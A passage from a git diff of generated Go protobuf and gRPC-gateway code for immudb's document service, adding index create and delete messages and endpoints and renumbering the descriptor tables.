0x6f, - 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, - 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x42, 0xba, 0x01, 0x5a, - 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, - 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, - 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, - 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, - 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, - 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, - 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, - 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, - 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, - 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x33, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, + 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8a, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, + 0x75, 0x64, 0x69, 0x74, 0x12, 0x8a, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, + 0x74, 0x42, 0xba, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, + 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, + 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, + 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, + 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, + 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, + 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, + 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -2089,91 +2343,101 @@ func file_documents_proto_rawDescGZIP() []byte { } var file_documents_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_documents_proto_msgTypes = make([]protoimpl.MessageInfo, 29) +var file_documents_proto_msgTypes = make([]protoimpl.MessageInfo, 33) var file_documents_proto_goTypes = []interface{}{ (FieldType)(0), // 0: immudb.model.FieldType (ComparisonOperator)(0), // 1: immudb.model.ComparisonOperator (*CollectionCreateRequest)(nil), // 2: immudb.model.CollectionCreateRequest (*CollectionCreateResponse)(nil), // 3: immudb.model.CollectionCreateResponse - (*Collection)(nil), // 4: immudb.model.Collection - (*Field)(nil), // 5: immudb.model.Field - (*Index)(nil), // 6: immudb.model.Index - (*CollectionGetRequest)(nil), // 7: immudb.model.CollectionGetRequest - (*CollectionGetResponse)(nil), // 8: immudb.model.CollectionGetResponse + (*Field)(nil), // 4: immudb.model.Field + (*Index)(nil), // 5: immudb.model.Index + (*CollectionGetRequest)(nil), // 6: immudb.model.CollectionGetRequest + (*CollectionGetResponse)(nil), // 7: immudb.model.CollectionGetResponse + (*Collection)(nil), // 8: immudb.model.Collection (*CollectionListRequest)(nil), // 9: immudb.model.CollectionListRequest (*CollectionListResponse)(nil), // 10: immudb.model.CollectionListResponse (*CollectionDeleteRequest)(nil), // 11: immudb.model.CollectionDeleteRequest (*CollectionDeleteResponse)(nil), // 12: immudb.model.CollectionDeleteResponse (*CollectionUpdateRequest)(nil), // 13: immudb.model.CollectionUpdateRequest (*CollectionUpdateResponse)(nil), // 14: immudb.model.CollectionUpdateResponse - (*DocumentInsertRequest)(nil), // 15: immudb.model.DocumentInsertRequest - (*DocumentInsertResponse)(nil), // 16: immudb.model.DocumentInsertResponse - (*DocumentInsertManyRequest)(nil), // 17: immudb.model.DocumentInsertManyRequest - (*DocumentInsertManyResponse)(nil), // 18: immudb.model.DocumentInsertManyResponse - (*DocumentUpdateRequest)(nil), // 19: immudb.model.DocumentUpdateRequest - (*DocumentUpdateResponse)(nil), // 20: immudb.model.DocumentUpdateResponse - (*DocumentSearchRequest)(nil), // 21: immudb.model.DocumentSearchRequest - (*Query)(nil), // 22: immudb.model.Query - (*QueryExpression)(nil), // 23: immudb.model.QueryExpression - (*FieldComparison)(nil), // 24: immudb.model.FieldComparison - (*DocumentSearchResponse)(nil), // 25: immudb.model.DocumentSearchResponse - (*DocumentAtRevision)(nil), // 26: immudb.model.DocumentAtRevision - (*DocumentAuditRequest)(nil), // 27: immudb.model.DocumentAuditRequest - (*DocumentAuditResponse)(nil), // 28: immudb.model.DocumentAuditResponse - (*DocumentProofRequest)(nil), // 29: immudb.model.DocumentProofRequest - (*DocumentProofResponse)(nil), // 30: immudb.model.DocumentProofResponse - (*_struct.Struct)(nil), // 31: google.protobuf.Struct - (*_struct.Value)(nil), // 32: google.protobuf.Value - (*schema.VerifiableTxV2)(nil), // 33: immudb.schema.VerifiableTxV2 + (*IndexCreateRequest)(nil), // 15: immudb.model.IndexCreateRequest + (*IndexCreateResponse)(nil), // 16: immudb.model.IndexCreateResponse + (*IndexDeleteRequest)(nil), // 17: immudb.model.IndexDeleteRequest + (*IndexDeleteResponse)(nil), // 18: immudb.model.IndexDeleteResponse + (*DocumentInsertRequest)(nil), // 19: immudb.model.DocumentInsertRequest + (*DocumentInsertResponse)(nil), // 20: immudb.model.DocumentInsertResponse + (*DocumentInsertManyRequest)(nil), // 21: immudb.model.DocumentInsertManyRequest + (*DocumentInsertManyResponse)(nil), // 22: immudb.model.DocumentInsertManyResponse + (*DocumentUpdateRequest)(nil), // 23: immudb.model.DocumentUpdateRequest + (*DocumentUpdateResponse)(nil), // 24: immudb.model.DocumentUpdateResponse + (*DocumentSearchRequest)(nil), // 25: immudb.model.DocumentSearchRequest + (*Query)(nil), // 26: immudb.model.Query + (*QueryExpression)(nil), // 27: immudb.model.QueryExpression + (*FieldComparison)(nil), // 28: immudb.model.FieldComparison + (*DocumentSearchResponse)(nil), // 29: immudb.model.DocumentSearchResponse + (*DocumentAtRevision)(nil), // 30: immudb.model.DocumentAtRevision + (*DocumentAuditRequest)(nil), // 31: immudb.model.DocumentAuditRequest + (*DocumentAuditResponse)(nil), // 32: immudb.model.DocumentAuditResponse + (*DocumentProofRequest)(nil), // 33: immudb.model.DocumentProofRequest + (*DocumentProofResponse)(nil), // 34: immudb.model.DocumentProofResponse + (*_struct.Struct)(nil), // 35: google.protobuf.Struct + (*_struct.Value)(nil), // 36: google.protobuf.Value + (*schema.VerifiableTxV2)(nil), // 37: immudb.schema.VerifiableTxV2 } var file_documents_proto_depIdxs = []int32{ - 4, // 0: immudb.model.CollectionCreateRequest.collection:type_name -> immudb.model.Collection - 5, // 1: immudb.model.Collection.fields:type_name -> immudb.model.Field - 6, // 2: immudb.model.Collection.indexes:type_name -> immudb.model.Index - 0, // 3: immudb.model.Field.type:type_name -> immudb.model.FieldType - 4, // 4: immudb.model.CollectionGetResponse.collection:type_name -> immudb.model.Collection - 4, // 5: immudb.model.CollectionListResponse.collections:type_name -> immudb.model.Collection - 4, // 6: immudb.model.CollectionUpdateRequest.collection:type_name -> immudb.model.Collection - 31, // 7: immudb.model.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 31, // 8: immudb.model.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct - 22, // 9: immudb.model.DocumentUpdateRequest.query:type_name -> immudb.model.Query - 31, // 10: immudb.model.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct - 22, // 11: immudb.model.DocumentSearchRequest.query:type_name -> immudb.model.Query - 23, // 12: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression - 24, // 13: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison - 1, // 14: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator - 32, // 15: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value - 26, // 16: immudb.model.DocumentSearchResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 31, // 17: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct - 26, // 18: immudb.model.DocumentAuditResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 33, // 19: immudb.model.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 - 2, // 20: immudb.model.DocumentService.CollectionCreate:input_type -> immudb.model.CollectionCreateRequest - 7, // 21: immudb.model.DocumentService.CollectionGet:input_type -> immudb.model.CollectionGetRequest - 9, // 22: immudb.model.DocumentService.CollectionList:input_type -> immudb.model.CollectionListRequest - 11, // 23: immudb.model.DocumentService.CollectionDelete:input_type -> immudb.model.CollectionDeleteRequest - 13, // 24: immudb.model.DocumentService.CollectionUpdate:input_type -> immudb.model.CollectionUpdateRequest - 15, // 25: immudb.model.DocumentService.DocumentInsert:input_type -> immudb.model.DocumentInsertRequest - 17, // 26: immudb.model.DocumentService.DocumentInsertMany:input_type -> immudb.model.DocumentInsertManyRequest - 19, // 27: immudb.model.DocumentService.DocumentUpdate:input_type -> immudb.model.DocumentUpdateRequest - 21, // 28: immudb.model.DocumentService.DocumentSearch:input_type -> immudb.model.DocumentSearchRequest - 27, // 29: immudb.model.DocumentService.DocumentAudit:input_type -> immudb.model.DocumentAuditRequest - 29, // 30: immudb.model.DocumentService.DocumentProof:input_type -> immudb.model.DocumentProofRequest - 3, // 31: immudb.model.DocumentService.CollectionCreate:output_type -> immudb.model.CollectionCreateResponse - 8, // 32: immudb.model.DocumentService.CollectionGet:output_type -> immudb.model.CollectionGetResponse - 10, // 33: immudb.model.DocumentService.CollectionList:output_type -> immudb.model.CollectionListResponse - 12, // 34: immudb.model.DocumentService.CollectionDelete:output_type -> immudb.model.CollectionDeleteResponse - 14, // 35: immudb.model.DocumentService.CollectionUpdate:output_type -> immudb.model.CollectionUpdateResponse - 16, // 36: immudb.model.DocumentService.DocumentInsert:output_type -> immudb.model.DocumentInsertResponse - 18, // 37: immudb.model.DocumentService.DocumentInsertMany:output_type -> immudb.model.DocumentInsertManyResponse - 20, // 38: immudb.model.DocumentService.DocumentUpdate:output_type -> immudb.model.DocumentUpdateResponse - 25, // 39: immudb.model.DocumentService.DocumentSearch:output_type -> immudb.model.DocumentSearchResponse - 28, // 40: immudb.model.DocumentService.DocumentAudit:output_type -> immudb.model.DocumentAuditResponse - 30, // 41: immudb.model.DocumentService.DocumentProof:output_type -> immudb.model.DocumentProofResponse - 31, // [31:42] is the sub-list for method output_type - 20, // [20:31] is the sub-list for method input_type - 20, // [20:20] is the sub-list for extension type_name - 20, // [20:20] is the sub-list for extension extendee - 0, // [0:20] is the sub-list for field type_name + 4, // 0: immudb.model.CollectionCreateRequest.fields:type_name -> immudb.model.Field + 5, // 1: immudb.model.CollectionCreateRequest.indexes:type_name -> immudb.model.Index + 0, // 2: immudb.model.Field.type:type_name -> immudb.model.FieldType + 8, // 3: immudb.model.CollectionGetResponse.collection:type_name -> immudb.model.Collection + 4, // 4: immudb.model.Collection.fields:type_name -> immudb.model.Field + 5, // 5: immudb.model.Collection.indexes:type_name -> immudb.model.Index + 8, // 6: immudb.model.CollectionListResponse.collections:type_name -> immudb.model.Collection + 5, // 7: immudb.model.IndexCreateRequest.indexes:type_name -> immudb.model.Index + 5, // 8: immudb.model.IndexDeleteRequest.indexes:type_name -> immudb.model.Index + 35, // 9: immudb.model.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 35, // 10: immudb.model.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct + 26, // 11: immudb.model.DocumentUpdateRequest.query:type_name -> immudb.model.Query + 35, // 12: immudb.model.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct + 26, // 13: immudb.model.DocumentSearchRequest.query:type_name -> immudb.model.Query + 27, // 14: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression + 28, // 15: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison + 1, // 16: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator + 36, // 17: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value + 30, // 18: immudb.model.DocumentSearchResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 35, // 19: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct + 30, // 20: immudb.model.DocumentAuditResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 37, // 21: immudb.model.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 + 2, // 22: immudb.model.DocumentService.CollectionCreate:input_type -> immudb.model.CollectionCreateRequest + 6, // 23: immudb.model.DocumentService.CollectionGet:input_type -> immudb.model.CollectionGetRequest + 9, // 24: immudb.model.DocumentService.CollectionList:input_type -> immudb.model.CollectionListRequest + 11, // 25: immudb.model.DocumentService.CollectionDelete:input_type -> immudb.model.CollectionDeleteRequest + 13, // 26: immudb.model.DocumentService.CollectionUpdate:input_type -> immudb.model.CollectionUpdateRequest + 15, // 27: immudb.model.DocumentService.IndexCreate:input_type -> immudb.model.IndexCreateRequest + 17, // 28: immudb.model.DocumentService.IndexDelete:input_type -> immudb.model.IndexDeleteRequest + 19, // 29: immudb.model.DocumentService.DocumentInsert:input_type -> immudb.model.DocumentInsertRequest + 21, // 30: immudb.model.DocumentService.DocumentInsertMany:input_type -> immudb.model.DocumentInsertManyRequest + 23, // 31: immudb.model.DocumentService.DocumentUpdate:input_type -> immudb.model.DocumentUpdateRequest + 25, // 32: immudb.model.DocumentService.DocumentSearch:input_type -> immudb.model.DocumentSearchRequest + 31, // 33: immudb.model.DocumentService.DocumentAudit:input_type -> immudb.model.DocumentAuditRequest + 33, // 34: immudb.model.DocumentService.DocumentProof:input_type -> immudb.model.DocumentProofRequest + 3, // 35: immudb.model.DocumentService.CollectionCreate:output_type -> immudb.model.CollectionCreateResponse + 7, // 36: immudb.model.DocumentService.CollectionGet:output_type -> immudb.model.CollectionGetResponse + 10, // 37: immudb.model.DocumentService.CollectionList:output_type -> immudb.model.CollectionListResponse + 12, // 38: immudb.model.DocumentService.CollectionDelete:output_type -> immudb.model.CollectionDeleteResponse + 14, // 39: immudb.model.DocumentService.CollectionUpdate:output_type -> immudb.model.CollectionUpdateResponse + 16, // 40: immudb.model.DocumentService.IndexCreate:output_type -> immudb.model.IndexCreateResponse + 18, // 41: immudb.model.DocumentService.IndexDelete:output_type -> immudb.model.IndexDeleteResponse + 20, // 42: immudb.model.DocumentService.DocumentInsert:output_type -> immudb.model.DocumentInsertResponse + 22, // 43: immudb.model.DocumentService.DocumentInsertMany:output_type -> immudb.model.DocumentInsertManyResponse + 24, // 44: immudb.model.DocumentService.DocumentUpdate:output_type -> immudb.model.DocumentUpdateResponse + 29, // 45: immudb.model.DocumentService.DocumentSearch:output_type -> immudb.model.DocumentSearchResponse + 32, // 46: immudb.model.DocumentService.DocumentAudit:output_type -> immudb.model.DocumentAuditResponse + 34, // 47: immudb.model.DocumentService.DocumentProof:output_type -> immudb.model.DocumentProofResponse + 35, // [35:48] is the sub-list for method output_type + 22, // [22:35] is the sub-list for method input_type + 22, // [22:22] is the sub-list for extension type_name + 22, // [22:22] is the sub-list for extension extendee + 0, // [0:22] is the sub-list for field type_name } func init() { file_documents_proto_init() } @@ -2207,7 +2471,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Collection); i { + switch v := v.(*Field); i { case 0: return &v.state case 1: @@ -2219,7 +2483,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Field); i { + switch v := v.(*Index); i { case 0: return &v.state case 1: @@ -2231,7 +2495,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Index); i { + switch v := v.(*CollectionGetRequest); i { case 0: return &v.state case 1: @@ -2243,7 +2507,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionGetRequest); i { + switch v := v.(*CollectionGetResponse); i { case 0: return &v.state case 1: @@ -2255,7 +2519,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionGetResponse); i { + switch v := v.(*Collection); i { case 0: return &v.state case 1: @@ -2339,7 +2603,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentInsertRequest); i { + switch v := v.(*IndexCreateRequest); i { case 0: return &v.state case 1: @@ -2351,7 +2615,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentInsertResponse); i { + switch v := v.(*IndexCreateResponse); i { case 0: return &v.state case 1: @@ -2363,7 +2627,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentInsertManyRequest); i { + switch v := v.(*IndexDeleteRequest); i { case 0: return &v.state case 1: @@ -2375,7 +2639,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentInsertManyResponse); i { + switch v := v.(*IndexDeleteResponse); i { case 0: return &v.state case 1: @@ -2387,7 +2651,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentUpdateRequest); i { + switch v := v.(*DocumentInsertRequest); i { case 0: return &v.state case 1: @@ -2399,7 +2663,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentUpdateResponse); i { + switch v := v.(*DocumentInsertResponse); i { case 0: return &v.state case 1: @@ -2411,7 +2675,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentSearchRequest); i { + switch v := v.(*DocumentInsertManyRequest); i { case 0: return &v.state case 1: @@ -2423,7 +2687,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Query); i { + switch v := v.(*DocumentInsertManyResponse); i { case 0: return &v.state case 1: @@ -2435,7 +2699,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*QueryExpression); i { + switch v := v.(*DocumentUpdateRequest); i { case 0: return &v.state case 1: @@ -2447,7 +2711,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*FieldComparison); i { + switch v := v.(*DocumentUpdateResponse); i { case 0: return &v.state case 1: @@ -2459,7 +2723,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentSearchResponse); i { + switch v := v.(*DocumentSearchRequest); i { case 0: return &v.state case 1: @@ -2471,7 +2735,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAtRevision); i { + switch v := v.(*Query); i { case 0: return &v.state case 1: @@ -2483,7 +2747,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAuditRequest); i { + switch v := v.(*QueryExpression); i { case 0: return &v.state case 1: @@ -2495,7 +2759,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAuditResponse); i { + switch v := v.(*FieldComparison); i { case 0: return &v.state case 1: @@ -2507,7 +2771,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentProofRequest); i { + switch v := v.(*DocumentSearchResponse); i { case 0: return &v.state case 1: @@ -2519,6 +2783,54 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentAtRevision); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentAuditRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentAuditResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentProofRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DocumentProofResponse); i { case 0: return &v.state @@ -2537,7 +2849,7 @@ func file_documents_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_documents_proto_rawDesc, NumEnums: 2, - NumMessages: 29, + NumMessages: 33, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/protomodel/documents.pb.gw.go b/pkg/api/protomodel/documents.pb.gw.go index 52d04705a0..d4b97ca16c 100644 --- a/pkg/api/protomodel/documents.pb.gw.go +++ b/pkg/api/protomodel/documents.pb.gw.go @@ -207,6 +207,74 @@ func local_request_DocumentService_CollectionUpdate_0(ctx context.Context, marsh } +func request_DocumentService_IndexCreate_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq IndexCreateRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, 